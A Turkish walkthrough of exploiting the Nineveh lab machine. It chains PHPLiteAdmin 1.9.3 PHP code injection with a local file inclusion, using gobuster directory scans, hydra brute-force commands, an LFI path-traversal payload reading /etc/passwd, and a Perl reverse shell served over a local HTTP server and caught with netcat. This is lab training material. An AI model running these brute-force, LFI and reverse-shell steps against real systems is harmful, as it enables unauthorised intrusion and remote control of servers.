PHPLiteAdmin v1.9 Uygulamasındaki PHP Kod Enjeksiyonu Zafiyetinin Yerel Dosya Dahil Etme Zafiyeti Üzerinden İstismar Edilmesi

0
165
views
Web uygulamaları sızma testleri sırasında keşfedilen bir zafiyet başka zafiyetler ile birleştirilerek kullanılabilir. Bu yazıda, Nineveh sanal makinesindeki PHPLiteAdmin v1.9 (1.9.3) sürümündeki PHP kod enjeksiyonu zafiyetinin istismarı için dizinlerin keşfi, kaba kuvvet saldırısı ile oturum bilgilerini keşfetme, LFI zafiyetinin istismarı adımları işletilecektir.20

Yazıda kullanılan Nineveh sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/nineveh-v03,222/

 

TCP/80 ve TCP/443 portlarından hizmet verilmektedir.

nmap -Pn -n –reason 10.100.50.137 -p443,80 -sV

 

Bu iki servis birbirinden farklı şekilde hizmet vermektedir.

http://10.100.50.137

https://10.100.50.137

 

HTTP olan servisteki bir dizinde oturum açıldıktan sonra yerel dosya dahil etme (Local File Inclusion – LFI) zafiyeti, HTTPS servisindeki bir dizinde de oturum açıldıktan sonra kod enjeksiyonu (Remote PHP Code Injection) zafiyeti bulunan PHPLiteAdmin v1.9 uygulamasının kullanıldığı görülecektir.

PhpMyAdmin uygulaması, PHP uygulamalarının Mysql veritabanı ile ilişkisini yönetir. PhpLiteAdmin uygulaması da, PHP uygulamalarının Sqlite veritabanı ile ilişkisini yönetir. Nineveh sanal makinesinde kurulu olan PHPLiteAdmin v1.9 üzerindeki kod enjeksiyonu (Remote PHP Code Injection) zafiyeti, yerel dosya dahil etme (LFI) zafiyeti kullanılarak istismar edilmektedir. PhpLiteAdmin v1.9.3 sürümündeki zafiyerin istismar adımları aşağıdaki gibidir.

  • HTTP servisinde çalışan uygulamanın “/department” dizini ve HTTPS servisinde çalışan uygulamanın “/db” dizini keşfedilecektir. Bu amaçla Gobuster aracı kullanılacaktır.
  • HTTP servisinde çalışan uygulamanın oturum bilgileri “admin / 1q2w3e4r5t” ve HTTPS servisinde çalışan PHPLiteAdmin uygulamasının parola bilgisi de “password123” olarak tespit edilecektir. Bu amaçla Hydra aracı kullanılacaktır.
  • HTTP servisinde oturum açıldıktan sonra, bu serviste çalışan uygulamadaki LFI zafiyeti tespit edilecek ve uygulama kullanıcısının yetkisi dahilinde konumu bilinen dosyaların okunabildiği görülecektir.

 

1) Gobuster ile Dizinlerin Keşfi: HTTP ve HTTPS

Gobuster kurulu değil ise, kurulumu gerçekleştirilir.

apt-get install gobuster

 

Benzer olarak Github üzerinden de indirilebilir.

https://github.com/OJ/gobuster

 

Gobuster aracı ile HTTP servisinde hizmet veren uygulamada kimlik doğrulamasız dizin keşfi aşağıdaki gibidir.

gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.100.50.137 -s ‘200,204,301,302,307,403,500’ -e -r -t 5 -o sonuc-http
cat sonuc-http

 

Not: Nineveh sanal makinesinin web uygulama yapılandırması incelendiğinde uygulamanın “/var/www/html” altında hizmet verdiği görülmektedir.

cd /etc/apache2/sites-enabled
ls
cat 000-default.conf | grep -v “# ”
ls /var/www/html
ls /var/www/html/department

 

Gelen sayfa içeriğinde kimlik bilgileri isteyen bir ekran ile karşılaşılmaktadır.

http://10.100.50.137/department/login.php

 

Gobuster aracı ile HTTPS servisinde hizmet veren uygulamada kimlik doğrulamasız dizin keşfi aşağıdaki gibidir.

gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u https://10.100.50.137 -s ‘200,204,301,302,307,403,500’ -e -r -t 5 -o sonuc-https -o sonuc-https -k

 

Not: Nineveh sanal makinesinin web uygulama yapılandırması incelendiğinde uygulamanın “/var/www/ssl” altında hizmet verdiği görülmektedir.

cd /etc/apache2/sites-enabled
ls
cat default-ssl.conf | grep -v “# ”
ls /var/www/ssl
ls /var/www/ssl/db

 

Gelen sayfa içeriğinde PHPLiteAdmin v1.9 uygulaması ile karşılaşılmaktadır.

https://10.100.50.137/db/

 

PHPLiteAdmin v1.9 uygulamasında “PHPLiteAdmin 1.9.3 – Remote PHP Code Injection” isimli PHP kod enjeksiyonu zafiyeti bulunmaktadır.

searchsploit phpliteadmin 1.9
cat /usr/share/exploitdb/exploits/php/webapps/24044.txt | grep -v “# “

 

Bu zafiyeti istismar etmek için aşağıdaki adımları izlemek gerekmektedir.

  • Uygulama üzerinde veritabanı oluşturabilecek bir kullanıcı ile oturum açılmalıdır. Bu amaçla Hydra ile “password123” parolası elde edilecektir.
  • Oluşturulan veritabanının adı “.php” uzantısı ile kaydedilir.
  • Oluşturulan yeni veritabanında yeni bir tablo oluşturulur.
  • Oluşturulan yeni tablo içerisine PHP ifadesi TEXT veriyapısında olacak şekilde kaydedilir.
  • Böylece, hazırlanan PHP dosyası (veritabanı) çağırıldığında PHP ifadesi çalışmış olur. PHP dosyasını çağırmak için de bu sanal makinedeki yerel dosya dahil etme (LFI) zafiyeti istismar edilecektir.

 

2) Hydra ile Kimlik Bilgilerinin Keşfi: HTTP ve HTTPS

HTTP servisinde hizmet veren sayfa üzerindeki oturum bilgileri istenmektedir. “deneme” gibi bir kullanıcı adı ile oturum açılmaya çalışıldığında “invalid username” hatası alınmaktadır.

http://10.100.50.137/department/login.php

 

Bunun yanında, “admin” gibi (mevcutta olma ihtimali yüksek olan) bir kullanıcı adı ile deneme yapılmaya çalışıldığında ise, “Invalid Password!” gibi bir hata mesajı dönülmektedir.

 

Hata mesajları arasındaki bu fark sebebi ile “admin” kullanıcısına ait parolanın tespiti için kaba kuvvet saldırısı uygulanabilir. Bu amaçla “hydra” aracı “/usr/share/wordlists/sqlmap.txt” gibi bir sözlük ile kullanılabilir.

hydra 10.100.50.137 -l admin -P /usr/share/wordlists/sqlmap.txt http-post-form “/department/login.php:username=^USER^&password=^PASS^:Invalid Password!” -t 64

 

Sonuç olarak HTTP servisindeki uygulama (“/department/login.php“) üzerinde “admin” kullanıcı adı “1q2w3e4r5t” parolası ile oturum açılabilmektedir.

http://10.100.50.137/department/manage.php

 

HTTPS servisinde hizmet veren PHPLiteAdmin v1.9 üzerinde oturum açmak için parola bilgisi istenmektedir.

https://10.100.50.137/db/

 

Parolanın tespiti için kaba kuvvet saldırısı uygulanabilir. Bu amaçla “hydra” aracı “/usr/share/wordlists/dirb/others/best1050.txt” gibi bir sözlük ile kullanılabilir.

hydra 10.100.50.137 -l HerhangiBirKullaniciAdi -P /usr/share/wordlists/dirb/others/best1050.txt https-post-form “/db/:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password.” -t 64 -s 443

 

 

Sonuç olarak HTTPS servisindeki uygulama (“/db“) üzerinde “password123” parolası ile oturum açılabilmektedir.

https://10.100.50.137/db/index.php

 

3) LFI Zafiyetinin İstismarı: HTTP

HTTP servisinde hizmet veren uygulamada “info.php” sayfası incelendiğinde “allow_url_include” özelliğinin etkin olduğu görülmektedir.

http://10.100.50.137/info.php

 

HTTP servisinde hizmet veren sayfa üzerinde oturum açıldıktan sonra “Notes” bağlantısına gidildiğinde, yerel dosya dahil etme zafiyetine sebep olacak olan “notes” parametresi ile “./files/ninevehNotes.txt” adlı dosya içeriği ekrana basılmaktadır.

http://10.100.50.137/department/manage.php?notes=files/ninevehNotes.txt

 

Not: Kaynak kod incelendiğinde “notes” parametresi için uzunluk ve içerik kontrolü bulunduğu görülmektedir. “notes” parametresinin aldığı değer 55 karakterden uzun olduğunda “File name too long.” hata mesajı, “notes” parametresinin aldığı değer “ninevehNotes” ifadesi içermediğinde “No Note is selected.” hata mesajı ile bu kontroller sağlanmaktadır.

ls
head -35 manage.php | tail -15
ls files
cat files/ninevehNotes.txt

 

Standart yerel dosya dahil etme zafiyetine karşı istismar denemesinde “ninevehNotes” ifadesi bulunmadığı için “No Note is selected.” hata mesajı ile karşılaşılmaktadır.

http://10.100.50.137/department/manage.php?notes=../../../../../etc/passwd

 

ninevehNotes” ifadesi olacak şekilde yerel dosya dahil etme (LFI) istismarı denendiğinde ise, hedef sanal makinede yüklü olan ve yeri bilinen dosya içeriği hata mesajı ile karşılaşılmadan okunabilmektedir..

http://10.100.50.137/department/manage.php?notes=/files/ninevehNotes.txt/../../../../../etc/passwd

 

Bu zafiyetin sabebi yeterli girdi kontrollerinin yapılmadan “manage.php” dosyasında “include($file);” fonksiyonunun doğrudan kullanılmasıdır. Böylece kendisine verilen dosya PHP ifadeleriymiş gibi Apache tarafından yorumlanacaktır.

cat manage.php -n | head -35 | tail -15

 

4) PHPLiteAdmin v1.9 Uygulamasındaki PHP Kod Enjeksiyonu Zafiyetinin İstismarı: HTTPS

HTTPS servisinde hizmet veren sayfa üzerinde oturum açıldıktan sonra, PHPLiteAdmin v1.9 uygulamasındaki PHP kod enjeksiyonu zafiyetinin istismarı için yeni bir veritabanının adı “php” uzantılı olacak şekilde oluşturulur. Oluşturulan YeniVT.php adlı veritabanının “/var/tmp” dizini altına kaydedildiği görülmektedir.

Not: Veritabanının “YeniVT.sql” olarak isimlendirilmesinin sebebi “manage.php” dosyasındaki 55 karakter limitidir.. Daha uzun bir isim verilmesi durumunda yerel dosya dahil etme (LFI) zafiyetinin bu örnek için çalışmama durumu olabilir.

 

Oluşturulan yeni veritabanı içerisine, yeni bir tablo oluşturulur.

 

Oluşturulan yeni tablo içerisine, TEXT veri tipinde bir PHP ifadesi girilir.

 

Böylece “YeniVT.php” adlı veritabanı, “YeniTablo” adlı tablo, “YeniKolon” adlı alan” oluşturulmuş ve içerisine bir PHP ifadesi eklenmiştir.

 

Eklenebilecek PHP ifadeleri aşağıdaki gibidir.

Not: Sanal makinenin “/var/tmp” dizininde SQLite formatındaki “YeniVT.php” dosyası görülebilir.

cd /var/tmp
ls
strings YeniVT.php

 

Disk sistemine yüklenen PHP dosyası çağırıldığında, öncelikle “betik.pl” adlı bir Perl betiği (/usr/share/webshells/perl/perl-reverse-shell.pl) indirecektir.

ls /usr/share/webshells/perl/
cp /usr/share/webshells/perl/perl-reverse-shell.pl betik.pl
nano betik.pl
grep “Change these” -A3 betik.pl

 

Bu betiği sunucudan sanal makineye indirmek için bir web servis (SimpleHTTPServer) başlatılır. Bu dosya “/tmp/” dizini altına “Zararli.pl” adı ile kaydedildikten sonra da ters bağlantı oluşturacaktır. Ters bağlantıyı yakalayacak olan dinleyici de başlatılır.

python -m SimpleHTTPServer 9999

nc -nlvp 13579

 

Daha önceden tespit edilen LFI zafiyeti ile “/var/tmp” dizini altına kaydedilen “YeniVT.php” dosyası çağırıldığında ters bağlantı elde edilmiş olur.

http://10.100.50.137/department/manage.php?notes=/files/ninevehNotes.txt/../../../../var/tmp/YeniVT.php

 

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • Zico2: 1: https://www.vulnhub.com/entry/zico2-1,210/

 

 

Kaynaklar:

https://www.youtube.com/watch?v=K9DKULxSBK4

https://forum.hackthebox.eu/discussion/300/nineveh-write-up-by-alamot
http://syrion.me/blog/htb-nineveh/
https://v3ded.github.io/ctf/htb-nineveh.html
https://roguesecurity.in/2017/12/16/hack-the-box-nineveh-writeup/

 

 

 

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz